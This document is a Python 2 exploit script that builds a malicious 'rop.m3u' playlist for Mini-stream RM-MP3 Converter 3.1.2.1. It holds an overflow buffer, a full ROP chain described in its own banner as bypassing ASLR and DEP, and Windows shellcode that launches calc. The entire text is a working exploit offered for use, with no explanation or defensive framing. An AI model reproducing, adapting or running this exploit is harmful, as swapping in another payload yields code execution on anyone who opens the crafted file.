from struct import pack
fname = "rop.m3u"
hdr = "http://."
junk1 = "A" * 17416
rop = [
0x10041720,
0x41414141,
0x1001a503,
0x10051ff5,
0x1005bb8e,
0x1001217b,
0x1002991c,
0x10029f3e,
0x41414141,
0x10032D54,
0x41414141,
0x41414141,
0x41414141,
0x41414141,
0x100237C8,
0x58585858,
0x58585858,
0x58585858,
0x58585858,
0x58585858,
0x10085515,
0x90909090,
0x90909090,
0x1001217b,
0x1002ca2d,
0xFFFF531C,
0x10033bbb,
0x41414141,
0x10027f59,
0x1001263D,
0xFFFF675D,
0x1001451e,
0x1002993c,
0x10029f3e,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x41414141,
0x41414141,
0x41414141,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10031e2e,
0x1002fa6a,
0x10031c8c,
0x41414141,
0x10031c8c,
0x41414141,
0x10031c8c,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10031e2e,
0x1002fa6a,
0x1001263D,
0xFFFFFFFC,
0x1001451e,
0x10031c8c,
0x41414141,
0x10031c8c,
0x41414141,
0x10031c8c,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10031e2e,
0x1001a503,
0x10031c8c,
0x41414141,
0x10031c8c,
0x41414141,
0x10031c8c,
0x41414141,
0x10031c8c,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10031e2e,
0x1001a503,
0x10031c81,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10028fe6,
0x41414141,
0x41414141,
0x41414141,
0x10031e2e,
0x1002fa6a,
0x1001263D,
0xFFFFFFF0,
0x1001451e,
0x1002fe81,
]
nops = "\x90" * 240
shellcode = (
"\x66\x81\xE4\xFC\xFF\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52"
"\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E"
"\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C"
"\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F"
"\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7"
)
print "Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30"
print "Local buffer overflow (\w ASLR and DEP bypass)\n"
payload = hdr + junk1 + pack('<'+str(len(rop))+'L',*rop) + nops + shellcode
f = open(fname, "w")
f.write(payload)
f.close()
print "%s file created!" % fname